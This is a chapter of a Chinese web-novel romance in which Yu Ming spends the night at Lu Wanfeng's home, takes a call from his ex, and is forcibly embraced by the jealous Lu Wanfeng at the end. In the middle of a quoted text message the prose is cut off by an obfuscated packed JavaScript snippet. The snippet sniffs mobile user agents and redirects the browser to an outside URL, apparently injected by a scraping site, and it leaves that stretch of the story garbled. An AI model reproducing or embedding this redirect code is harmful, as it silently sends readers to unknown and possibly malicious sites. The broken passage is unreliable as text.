看着钰茗走进家门的时候,路晚风想,他是挺不要脸的。
钰茗的态度已经那么明显不愿了,还是坚持要让他来。
但路晚风并不后悔。
这些年,如果有后悔,路晚风最后悔的就是当年听到钰茗说他“喜欢那个谁”的时候,放手了。
月光里男孩的眼睛亮得惊人,笑容带着甜蜜的气息,比任何时候看起来都显得英俊动人。
哪怕那个瞬间,心沉入无尽寒冬,他也不忍心去破坏那份美好。
那时候他更年轻,以为放手让钰茗去追寻自己的幸福,自己可以对此释怀。
事实上,根本不可能释怀,不然他也不会在这里。
做完决定之后,他只用了两天处理完工作牵绊,回到国内。
所有人都觉得他疯了,唯独他知道自己多么清醒。
因为他现在懂得了,如果没有办法给喜欢的人幸福,他一辈子不可能甘心。
更何况,那个人根本不配。
想到钰茗竟然喜欢过那个姓赵的,路晚风的双眸一下子变得阴鸷。
但很快,在钰茗看过来的时候,他又恢复成原来的样子,抬手指了指二楼:“在那,我带你去。”
--
虽然“被迫”答应,钰茗并没有很不愿意,或者觉得生气。
白天近乎箭弩拔张,实际上钰茗并不害怕路晚风,他只是拿捏不准自己到底怎么想。
钰茗吹完头发,看着镜中的自己,微微叹了口气。
他觉得自己有些不要脸,相较于路晚风真正挑明,他好像更喜欢现在这个状态。
一旦路晚风真的和他表白,他不知道后面要怎么去处理和路晚风的关系。
他虽然和赵晨亮牵扯多年,归根到底没有真的谈过恋爱,也没有经验从朋友到恋人之间会怎么样。
恋爱又不是只靠嘴巴说说就可以,做朋友多好啊……
再者,路晚风也给他很多的不确定性,他始终不明白自己到底哪里吸引到了对方,那么短暂的相处,足以让他惦记那么多年。
也有另一种情况。
“嗒——”
钰茗关掉浴室的灯,走到床边,也关掉了房间里的灯,只留下一盏床头的夜灯。
钰茗爬上/床,钻入柔软,带着阳光气息的被褥里,闭上眼。
——一切都是他的自作多情,路晚风喜欢的人并不是他。
一想到这个,松软的被子好像变重了些,压得他胸口沉甸甸的,呼吸也变得稍许困难起来。
房门就是在钰茗呼吸变得缓慢的时候被敲响的。
他的身体还处于被没由来的沉重包裹的顿感中,是以路晚风走到床头,才反应过来自己同意对方进来了。
钰茗单手撑着枕头半坐起来。
路晚风双手拿着一杯一瓶,见钰茗看过来,俯身把两样东西放到他的床头柜上。
蜂蜜的清香味立刻弥漫在鼻尖,侧目看去,杯中水色清亮,应该是一杯蜂蜜水。
旁边的则更为醒目,是一瓶漱口水。
“喝一点,有利于消炎。”路晚风开口,说完长指点了点一旁漱口水的盖子,“喝了之后记得漱口,刷牙会碰到伤口,用漱口水会舒服很多。”
不知道路晚风用的是什么蜂蜜,香味清新中带着诱/人的甜,他刚才放下来的时候钰茗的胃和舌头已经蠢蠢欲动了。
不过那种被人放在心里的关心让他觉得空气里的甜味更浓了,他谢过路晚风,拿起杯子喝了一口。
香甜瞬间弥漫整个口腔,智齿好像真的没有那么疼了。
“咕咚——”
周围太过安静,喝水吞咽的声音也变得十分清晰,哪怕他已经很小声了。
钰茗一口蜂蜜水含在嘴里,抬起眼。
路晚风正在看他,漆黑瞳孔倒映着一抹暖黄,看起来温柔又专注。
这样静谧的夜,这样的眼神,让钰茗的脸颊不由自主发热。
他这两天变得越来越奇怪,也越来越会因为路晚风的一些动作眼神变得心慌意乱的。
是因为知道路晚风的心思吗?
男人眸光闪了闪,道:“考试的事情准备的怎么样了?”
路晚风一开口,钰茗很快把水咽下:“还可以。”
他迎着对方的注视,又小声补充:“其实考核的那些都不难,这一次我有信心可以拿高分。”
说完又有点不好意思,没办法,根据上一次考试的结果,他这么说像是在说大话一样。
路晚风弯了弯唇:“我知道你可以。”
钰茗眨了眨眼睛,路晚风什么都不知道,却如此相信他。
如果能一直和路晚风做朋友,该多好。
两人随意聊了几句工作相关的,钰茗的进展比计划要更快一些,再次得到男人的夸奖。
那种久违的温和,让两人之间的相处似乎又回到了之前的模式。
舒适又自在。
聊完工作,路晚风看了眼手机:“休息吧。”
说完这一句,男人很干脆起身往外。
钰茗叫住他。
“怎么了?”男人手按在门把上,看着他。
夜灯把他棱角分明的脸照得很温柔,钰茗心头泛起一阵奇异的柔软,他把自己深深迈入被褥中,小声开口:“今晚谢谢你,还有,晚安啊路晚风。”
昏暗中,他看到路晚风唇角牵出很好看的弧度:“不用客气,晚安钰茗。”
--
钰茗以为这一晚会辗转难眠,没想到竟是一/夜无梦到天明。
起床的时候,除了依旧泛疼的智齿,完全神清气爽。
而且不知是自己真的乏了,还是路晚风家里的隔音做得好,他晚上一点杂音都没听到。
真的是很舒服的一场睡眠。
钰茗整理好床铺,穿上外套后又依依不舍地回看了一眼。这么舒服的床不知下一次再睡到要什么时候了……
缓步下楼的时候正好听到开门的声音,钰茗看过去,和进门的路晚风视线交汇。
男人的目光在他脸上扫过:“看起来睡得不错,过来吃点东西。”
钰茗“嗯哼”着又谢了一遍。
两人相视一笑,钰茗呼吸轻松,脚步轻快走到餐桌旁。
路晚风准备的早餐很丰盛,中医结合,点心小笼,牛奶面包。
钰茗向来对中式点心没有抵抗力,落座后第一选择就是夹起小笼啊呜一口。
熟悉又特别的味道让他眉心微动,伸直脖颈去看小笼的包装。
上面熟悉的店铺名称让他呼吸又变得沉重。
那家店很远,远到钰茗很多时候只是想想。
他神色复杂地看向路晚风,男人一秒读懂他表情里的不自然。
路晚风:“想什么呢?不是我自己去买的。”
钰茗:“额——”
路晚风坐下,给自己也夹了一个小笼:“这个世界上还有一个东西叫外卖,外卖点不到的可以找跑腿。”
钰茗:“。”
真的是白投入感情了!
也不怪钰茗,他的母亲钰珍酷爱做饭,时常叮嘱儿子少吃外卖。
久而久之,钰茗都是能自己做饭就自己做饭,不能做,就回家路上捎带一些。
点外卖这件事,他还真的做的很少。
钰茗用力咽下嘴里的东西:“你在国外那么多年,没少回国吧,不然怎么能对国内的情况这么了解?”
路晚风朝他挑了挑眉,没接话。
钰茗自己却愣了许久。
他随口说说的,难不成路晚风真的一直会回来?
--
天空又开始淅淅沥沥飘着小雨,到中午的时候越来越大。
吃过饭,钰茗站在走廊的窗边,担忧看着外面瓢泼大雨,给物业打了个电话询问维修情况。
“对不起啊钰先生,我们早上再次排查了一下,是接入电缆出了故障,但这种天气里的高空作业太危险了,只能麻烦您再等一天了。”
涉及到人身安全,钰茗自然不好勉强,有些失望地挂上电话。
怎么办,继续找路晚风借住一晚?
或者不和他说,抹黑将就。
不行。
停电意味着没有灯,路晚风住在他隔壁,肯定会发现的。
钰茗看着窗外的雨幕,他的脑中似有两个小人在互相搏击。
小人A:昨晚体验那么好,你早上还不舍得离开,这么好的机会,为什么不再去一次呢?
小人B:你如果没想好要不要和路晚风更进一步,就该和他保持距离,对他好,对自己也好。
小人A:呵,说的简单,你舍得和他保持距离么?你愿意放弃这么一个朋友吗?
小人B:你这么做,才可以一直和他保持很好的朋友关系。
小人A:他要是发现你只想和他做朋友,他还会那么对你吗?你想过吗?
“怎么在这里发呆?”一只手横到钰茗前方,“哗”地一声把窗户拉拢。
钰茗回神。
原来是窗户没拉紧,带着寒意的风卷着雨丝吹进来,手又湿又凉的。
钰茗收回手,反折到身后,不自然地在外套上蹭了蹭。
“小人A”和“小人B”说得都有理,但他选择诚实。
“我家今晚还是继续停电。”
路晚风:“要去我那边住么?”
和昨晚完全不同的语气口吻,是很客气的询问。
似是看出了钰茗的犹豫,他又道,“反正需要清洗床褥,你再多睡一晚,也不浪费,对么?”
小人A重拳出击,一把将小人B撂倒,完成KO。
钰茗点了点头,认同表示:“也对,不过回头我负责清洗被子和整理房间!”
“总之不能白睡!”他强调着。
路晚风笑着应了。
--
钰茗下班的时候,雨变得更大了。
淋着雨回到家,借着手电筒的光拿了两件更换衣物,他一路小跑进了路晚风家里。
路晚风给他留了门,同时给他发了信息说今晚要忙工作,让他一切自便。
于是钰茗非常自便的上楼洗漱。
昨天路晚风的担忧并非空穴来风,他刷牙的时候果然牵扯到了智齿,疼得龇牙咧嘴的。
钰茗对着镜子检查了一下牙齿。
马上周末了,他必须约个医生看一下,实在不行得尽早干涉治疗了。
智齿的位置靠里,浴室的光位置不对,怎么都看不到里头。钰茗拿起手机,试图用手机的灯看一下。
手机连续震动起来,是赵晨亮的来电。
赵晨亮那天找过路晚风之后,不知道男人对他说了什么,这两天都没再来烦钰茗。
钰茗完全没波澜地看着来电未被接通而断开。
赵晨亮大概也知道他不会接电话,又开始发信息了。
【钰茗,好歹接个电话,我们这么多年的感情,我真的不愿意一句算了结束。】
【而且,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039859|177612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我真的有事想和你说。】
钰茗轻吐了一口气,这句话之前徐方南也和他说过。
这两天,他气也过了,是该好好和人告别的。
钰茗拿着手机走到窗边。
房间的门关着,这边隔音这么好,接个电话应该没什么问题吧……
这么想着的时候,赵晨亮的电话又打了过来。
钰茗没怎么犹豫地接通。
不抱希望却意外被接通,赵晨亮的声音里满是惊喜:“茗茗!你终于接我电话了!我好开心你知道吗?”
钰茗:“有什么事?”
赵晨亮的声音有点委屈:“你真的不要我了?”
钰茗以前特别吃他撒娇这一套,哪怕现在祛魅了,还是忍不住小小心软了一下。
当然,只有短暂的一下。
“你如果打电话来只是为了说这些的话,那我挂了。”钰茗冷静道。
“别,”赵晨亮着急地喊住他,“我是想告诉你,我比预期更早结束这边的工作,也买好周六回来的机票了。”
钰茗无意识地盯着外面漆黑的天空:“这和我没关系了。”
赵晨亮:“有的,你以前答应过的,如果我回来,任何情况你都会来接我。”
钰茗眼皮跳了一下。
是的,当年赵晨亮走的时候,他许诺过,如果对方回国安顿,不管多忙他都会去接赵晨亮回家。
眼下两人的情况,不适合。
但钰茗不想做个言而无信的人。再者,这么多年赵晨亮对他的好也是真的,不能因为对方的某些不良行为就否定所有。
“我知道了,你回来的航班号告诉我,我会去接你的。”钰茗轻声说着,“我答应你的,会说到做到。”
钰茗进门的时候,如在家一般带上了门,却忘了路晚风家里的门和他完全不同。
纯实木的份量,以及高阻力的门铰链,让门只是看起来关上了,实则没有彻底合上。
门外的路晚风,将他整个电话听得一清二楚。
只是一个电话的时间,路晚风却觉得,自己站了一个世纪那么久。
昨晚来给钰茗送柠檬水的时候,他想了很多,犹豫许久。
最后决定不再继续给钰茗施加“压力”,潜移默化,徐徐图之才是最好的策略。
只要钰茗离不开他了,那么迟早是他的。
他已经等了这么多年,不在乎再多等半年一年的。
但赵晨亮的这个电话,敲响了危险的警钟。
赵晨亮是钰茗无法忘怀的初恋,很多人对于初恋总是分外宽容。
万一,钰茗也这样,他还能再等下一个六年吗?
--
钰茗挂断电话,从床上坐起身。
绝佳的隔音依旧阻挡不住外面的闷雷声,拉开窗帘,天阴沉地仿佛要落下来。
点开气象预报,果不其然,又是一整天大雨到暴雨。
看样子,他家还得再“停电”一天。
不过没关系,就算修不好,他也有地方可以待,有“家”能回。
刚才和赵晨亮打电话的时候,钰茗整个人绷着,尤其是赵晨亮说话的时候,舌尖很用力抵着智齿。
等放松下来,才恍然察觉,他抵着的,是发炎那颗智齿。
他一直都是这么个习惯,也难怪这颗牙齿会发炎了。
牙疼就是这样,一旦你感受到疼,它只会越来越疼。刚才吃进去的布洛芬敲了大半个小时的门,还是没有找到对的位置,钰茗自暴自弃想着要不再来一颗加速。
也只是想一想。
视线划过床头柜,钰茗想起昨天路晚风端来的那杯蜂蜜水。
如果再喝一点,会不会没那么疼了?
钰茗往外走去,同时希望着路晚风还没有睡。
手按住门把手,想要拧开的时候,门自动往外而去。
钰茗呆住,刚才门没关上?
他推开门往外。
外面一片安静,只有他刚才上楼时候开的走廊灯亮着。
他刚才的那通电话,并没有影响到别人。
钰茗松了一口气,继续往前。
路晚风之前说过,他的书房在楼梯上来左侧的第一间。
路晚风是在钰茗脚步声由远及近的时候抬起头看向门口的。
钰茗扣门的第一声响起,他直接道:“进来。”
他眼底带着狰狞的红,眼睛却是笑着的,抬手招呼钰茗过来的时候声音也很温和。
钰茗没有察觉到任何异常,他快步走过来,小声抱怨着自己的牙齿越来越疼,问路晚风昨天的蜂蜜水还有没有。
“我泡好了。”
钰茗“诶”了一声,视线看向书桌台面,果然在电脑后面看到了熟悉的杯子。
刚抬起腿准备往那边去,手腕被路晚风握住了。
他回头,眼里带着询问。
路晚风解释:“我先帮你看一下牙齿情况,那水是甜的,如果发炎的厉害还是别喝了。”
钰茗分开殷红双唇,做了一个“啊”的动作,看样子是赞同了他的话。
路晚风凝视着那随着这个动作探出的一截同样殷红的小巧舌尖,心想——
他如果再不快点,钰茗也许会再次被那个姓赵的蛊惑。
他绝对不可能再甘心默默等着下一个六年。
手臂猛地施力,路晚风不再犹豫,用力把钰茗扯入自己怀中,展臂抱住。
他要的是现在。
还有以后的永远。